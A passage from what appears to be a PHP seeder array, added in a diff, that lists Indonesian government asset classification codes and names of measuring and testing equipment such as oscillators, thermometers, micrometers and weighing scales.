'3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '122', + 'nama' => 'SWEEP FUNCTION GENERATOR', + ], + [ + 'id_aset' => 1359, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '123', + 'nama' => 'LOADMETER', + ], + [ + 'id_aset' => 1360, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '124', + 'nama' => 'SYSTEM UV STERELISASI DAN SIRKULASI AI', + ], + [ + 'id_aset' => 1361, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '125', + 'nama' => 'COUNTER TESTER', + ], + [ + 'id_aset' => 1362, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '126', + 'nama' => 'SYSTEM FOR CHEMICAL OXYGEN DEMOND', + ], + [ + 'id_aset' => 1363, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '127', + 'nama' => 'THE DACOR SEASPRINT UNDER WATER VEHICLE', + ], + [ + 'id_aset' => 1364, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '128', + 'nama' => 'TITRATION UNIT', + ], + [ + 'id_aset' => 1365, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '129', + 'nama' => 'ULTRASONIC CLEANER (ALAT UKUR UNIVERSAL)', + ], + [ + 'id_aset' => 1366, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '130', + 'nama' => 'WATER ANALYSIS KIT', + ], + [ + 'id_aset' => 1367, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '131', + 'nama' => 'WHEEL METER', + ], + [ + 'id_aset' => 1368, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '132', + 'nama' => 'PROYECTION POLARISCOPE', + ], + [ + 'id_aset' => 1369, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '133', + 'nama' => 'CDMA/GSM TEST', + ], + [ + 'id_aset' => 1370, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '134', + 'nama' => 'ANTENNA SELECTOR', + ], + [ + 'id_aset' => 1371, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '135', + 'nama' => 'LOG PERIODIC ANTENNA', + ], + [ + 'id_aset' => 1372, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '136', + 'nama' => 'ALAT UKUR SIGMAT', + ], + [ + 'id_aset' => 1373, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT UKUR UNIVERSAL LAINNYA', + ], + [ + 'id_aset' => 1374, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'UNIVERSAL TESTER', + ], + [ + 'id_aset' => 1375, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'FREQUENCY COUNTER (UNIVERSAL TESTER)', + ], + [ + 'id_aset' => 1376, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSULATION RES METER MOD', + ], + [ + 'id_aset' => 1377, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'NOISE & DISTORTION METER', + ], + [ + 'id_aset' => 1378, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'OSCILATOR DISTORTION METER', + ], + [ + 'id_aset' => 1379, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'OSCILATOR TEST SIGNAL', + ], + [ + 'id_aset' => 1380, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'OSCILATOR WIDW BAND', + ], + [ + 'id_aset' => 1381, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'OSCILATOR SWEEP', + ], + [ + 'id_aset' => 1382, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'PRECISION ENCODER MONITOR', + ], + [ + 'id_aset' => 1383, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'PLAMBICON TEST UNIT', + ], + [ + 'id_aset' => 1384, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '010', + 'nama' => 'SCANNER (UNIVERSAL TESTER)', + ], + [ + 'id_aset' => 1385, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '011', + 'nama' => 'TIME INTERVAL UNIT', + ], + [ + 'id_aset' => 1386, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '012', + 'nama' => 'UNIVERSAL COUNTER (UNIVERSAL TESTER)', + ], + [ + 'id_aset' => 1387, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '013', + 'nama' => 'VIDEO NOISE METER', + ], + [ + 'id_aset' => 1388, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '014', + 'nama' => 'ADMINTANCE METER', + ], + [ + 'id_aset' => 1389, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '015', + 'nama' => 'ADMINTANCE BRIDE', + ], + [ + 'id_aset' => 1390, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '016', + 'nama' => 'FIELDSTRENGTH METER', + ], + [ + 'id_aset' => 1391, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '017', + 'nama' => 'RF BRIDGE', + ], + [ + 'id_aset' => 1392, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '018', + 'nama' => 'RF PUSH BUTTON ATTENUATOR', + ], + [ + 'id_aset' => 1393, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '019', + 'nama' => 'VISION AND SOUND NYQUIST DEMODULATOR AMF', + ], + [ + 'id_aset' => 1394, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '020', + 'nama' => 'V.S.W.R STANDING REVIEW', + ], + [ + 'id_aset' => 1395, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '022', + 'nama' => 'DIGITAL FREQUENCE METER', + ], + [ + 'id_aset' => 1396, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '023', + 'nama' => 'VINDICAM QUICK TESTER', + ], + [ + 'id_aset' => 1397, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '024', + 'nama' => 'COAXIAL ATT', + ], + [ + 'id_aset' => 1398, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '025', + 'nama' => 'VARIABLE COAXIAL ATT', + ], + [ + 'id_aset' => 1399, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '026', + 'nama' => 'LOGIC PROBE (UNIVERSAL TESTER)', + ], + [ + 'id_aset' => 1400, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '027', + 'nama' => 'SURVEY METER (UNIVERSAL TESTER)', + ], + [ + 'id_aset' => 1401, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '028', + 'nama' => 'LOGIC COMPARATOR', + ], + [ + 'id_aset' => 1402, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'UNIVERSAL TESTER LAINNYA', + ], + [ + 'id_aset' => 1403, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT UKUR/PEMBANDING', + ], + [ + 'id_aset' => 1404, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'UKURAN JOHANSON (ALAT PEMBANDING STANDAR UKURAN PANJANG)', + ], + [ + 'id_aset' => 1405, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'MICRO INDICATOR (DENGAN PERLENGKAPAN SUPARTO POINTERS DAN REVOLV', + ], + [ + 'id_aset' => 1406, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'PERLENGKAPAN MICRO INDICATOR', + ], + [ + 'id_aset' => 1407, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'PSYCOMETER VANLAMBRECHT', + ], + [ + 'id_aset' => 1408, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'PSYCOMETER', + ], + [ + 'id_aset' => 1409, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'BAROMETER LOGAM', + ], + [ + 'id_aset' => 1410, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'BAROMETER MERCURY', + ], + [ + 'id_aset' => 1411, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'MANOMETER UNTUK MESIN', + ], + [ + 'id_aset' => 1412, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'MONOTOR PRECISI', + ], + [ + 'id_aset' => 1413, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'ALAT PEMERIKSA MANOMETER ( DENGAN PERLENGKAPAN )', + ], + [ + 'id_aset' => 1414, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '011', + 'nama' => 'ALAT PEMERIKSAAN ZAT CAIR', + ], + [ + 'id_aset' => 1415, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '012', + 'nama' => 'TERMOMETER STANDAR', + ], + [ + 'id_aset' => 1416, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '013', + 'nama' => 'TERMOMETER GOVERMEN TESTER 0 DERAJAT SAMPAI DENGAN 100 DERAJAT C', + ], + [ + 'id_aset' => 1417, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '014', + 'nama' => 'THERMOSTAT ( PENGUJI PEMERIKSAAN TERMOMETER )', + ], + [ + 'id_aset' => 1418, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '015', + 'nama' => 'JAM UKUR ( MEET LOCK )', + ], + [ + 'id_aset' => 1419, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '016', + 'nama' => 'HARDNES TESTER', + ], + [ + 'id_aset' => 1420, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '017', + 'nama' => 'STOPWATCH', + ], + [ + 'id_aset' => 1421, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '018', + 'nama' => 'LOUP', + ], + [ + 'id_aset' => 1422, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '019', + 'nama' => 'PLANIMETER (ALAT UKUR/PEMBANDING)', + ], + [ + 'id_aset' => 1423, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '020', + 'nama' => 'METRA BLOCK', + ], + [ + 'id_aset' => 1424, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '021', + 'nama' => 'LEMARI BAJA PENGERING', + ], + [ + 'id_aset' => 1425, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '022', + 'nama' => 'SANBLAS UNIT', + ], + [ + 'id_aset' => 1426, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '023', + 'nama' => 'ALAT PEMERIKSAAN TIMBANGAN TEKANAN BERODA', + ], + [ + 'id_aset' => 1427, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '024', + 'nama' => 'STELAN INSTRUMEN BOURJE', + ], + [ + 'id_aset' => 1428, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '025', + 'nama' => 'LAMPU UNTUK MENERANGI SKALA NERACA PAKAI STANDAR', + ], + [ + 'id_aset' => 1429, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '026', + 'nama' => 'AVOMETER SU 20 - 20 K', + ], + [ + 'id_aset' => 1430, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '027', + 'nama' => 'TRAPPO 1.000 WATT', + ], + [ + 'id_aset' => 1431, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '028', + 'nama' => 'TOOL SET', + ], + [ + 'id_aset' => 1432, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '029', + 'nama' => 'LANDASAN CAP LENGKAP', + ], + [ + 'id_aset' => 1433, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '030', + 'nama' => 'KAKI TIGA GANTUNGAN DACIN', + ], + [ + 'id_aset' => 1434, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '031', + 'nama' => 'ALAT PENDATAR TAKARAN BENSIN', + ], + [ + 'id_aset' => 1435, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '032', + 'nama' => 'TANG PLOMBIR / SEGEL', + ], + [ + 'id_aset' => 1436, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '033', + 'nama' => 'EXICATOR BESAR', + ], + [ + 'id_aset' => 1437, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '034', + 'nama' => 'EXICATOR KECIL', + ], + [ + 'id_aset' => 1438, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '035', + 'nama' => 'DESICATOR ( SIZE ) 3', + ], + [ + 'id_aset' => 1439, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '036', + 'nama' => 'DESICATOR ( SIZE ) 4', + ], + [ + 'id_aset' => 1440, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '037', + 'nama' => 'BOTOL AIR SALING DARI 25 LITER', + ], + [ + 'id_aset' => 1441, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '038', + 'nama' => 'PICNOMETER', + ], + [ + 'id_aset' => 1442, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '039', + 'nama' => 'DESIMETER ( HIDROMETER )', + ], + [ + 'id_aset' => 1443, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '040', + 'nama' => 'TELESCOPE TILE VARIEBLE', + ], + [ + 'id_aset' => 1444, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '041', + 'nama' => 'OPTICAL STREAN ( UNTUK PEMERIKSAAN KACA )', + ], + [ + 'id_aset' => 1445, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '042', + 'nama' => 'OPTOCAL TEKNIS GANGE ( PENGUKUR TEBAL DINDING )', + ], + [ + 'id_aset' => 1446, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '043', + 'nama' => 'LIFTER CAPASITAS 500 KG', + ], + [ + 'id_aset' => 1447, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '044', + 'nama' => 'TAXIMETER TESTER', + ], + [ + 'id_aset' => 1448, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '045', + 'nama' => 'SPEDOMETER TESTER', + ], + [ + 'id_aset' => 1449, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '046', + 'nama' => 'STANDARD GUAGE BLOCKS', + ], + [ + 'id_aset' => 1450, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '047', + 'nama' => 'FINEST DIRECT READING INTERN MICROMETER OF VARIOS RANGE UP TO 10', + ], + [ + 'id_aset' => 1451, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '048', + 'nama' => 'CONSTANT TEMPERATURE COMBINED BRIDGE THERMOSTAT', + ], + [ + 'id_aset' => 1452, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '049', + 'nama' => 'TRANSPARAN PLASTIC RACK INSERT FOR 20 TEST TEST TUBES 75 X 17', + ], + [ + 'id_aset' => 1453, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '050', + 'nama' => 'WATER BATH PLEXIGLASS CAPASITY 71', + ], + [ + 'id_aset' => 1454, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '051', + 'nama' => 'TEST TUBE RACK STAINLESSTEL WITH 10 HOLES 18 MM DIA', + ], + [ + 'id_aset' => 1455, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '052', + 'nama' => 'CALORIMETER THERMOMETER ACETO BESTMEN CERTIFICATE', + ], + [ + 'id_aset' => 1456, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '053', + 'nama' => 'SIT OF GAUGE PRETITION LANDS BERGER THERMOMETER', + ], + [ + 'id_aset' => 1457, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '054', + 'nama' => 'SET OF 14 HIGHT PRECISION AMERAL THERMOMETER', + ], + [ + 'id_aset' => 1458, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '055', + 'nama' => 'ADDITION TUNER STOP WATCH', + ], + [ + 'id_aset' => 1459, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '056', + 'nama' => '\"UNIVERSAL CLAMP', + ], + [ + 'id_aset' => 1460, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '057', + 'nama' => '\"UNIVERSAL CLAMP', + ], + [ + 'id_aset' => 1461, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '058', + 'nama' => 'VENIER CALIVER', + ], + [ + 'id_aset' => 1462, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '059', + 'nama' => 'PROPILE PROYEKTOR TOYO SERIE', + ], + [ + 'id_aset' => 1463, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '060', + 'nama' => 'TOOL MAKER MICROSCOPE MAGNIFICATION 30 X', + ], + [ + 'id_aset' => 1464, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '061', + 'nama' => 'MICROSCOPE MULTIVIEW', + ], + [ + 'id_aset' => 1465, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT UKUR/PEMBANDING LAINNYA', + ], + [ + 'id_aset' => 1466, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT UKUR LAINNYA', + ], + [ + 'id_aset' => 1467, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'METER X - 27 DARI PLATINA TRIDIUM', + ], + [ + 'id_aset' => 1468, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'H - METER DARI BAJA NIKEL', + ], + [ + 'id_aset' => 1469, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'KOMPARATOR', + ], + [ + 'id_aset' => 1470, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT PENGUKUR GARIS TENGAH', + ], + [ + 'id_aset' => 1471, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'BAN UKUR', + ], + [ + 'id_aset' => 1472, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'DIAMETER TAPE', + ], + [ + 'id_aset' => 1473, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'UKURAN TINGGI ORANG', + ], + [ + 'id_aset' => 1474, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'SCHUIFMAAT ( UKURAN INGSUT )', + ], + [ + 'id_aset' => 1475, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'LIFTER STANDARD ( 1 LITER )', + ], + [ + 'id_aset' => 1476, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'BEJANA UKUR', + ], + [ + 'id_aset' => 1477, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'ALAT UKUR KADAR AIR (ALAT UKUR LAINNYA)', + ], + [ + 'id_aset' => 1478, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '012', + 'nama' => 'ALAT UKUR PEMECAH KULIT GABAH', + ], + [ + 'id_aset' => 1479, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '013', + 'nama' => 'RAIN GAUGE', + ], + [ + 'id_aset' => 1480, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '014', + 'nama' => 'NEEDLE LIFT SENSOR', + ], + [ + 'id_aset' => 1481, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT UKUR LAINNYA', + ], + [ + 'id_aset' => 1482, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT TIMBANGAN/BIARA', + ], + [ + 'id_aset' => 1483, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TIMBANGAN JEMBATAN CAPASITAS 10 TON', + ], + [ + 'id_aset' => 1484, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'TIMBANGAN MEJA CAPASITAS 10 KG', + ], + [ + 'id_aset' => 1485, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'TIMBANGAN MEJA CAPASITAS 5 KG', + ], + [ + 'id_aset' => 1486, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'TIMBANGAN BBI CAPASITAS 100 KG', + ], + [ + 'id_aset' => 1487, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'TIMBANGAN BBI CAPASITAS 25 KG', + ], + [ + 'id_aset' => 1488, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'TIMBANGAN BBI CAPASITAS 15 KG ( TIMBANGAN BAYI )', + ], + [ + 'id_aset' => 1489, + 'golongan' => '3', + 'bidang' => 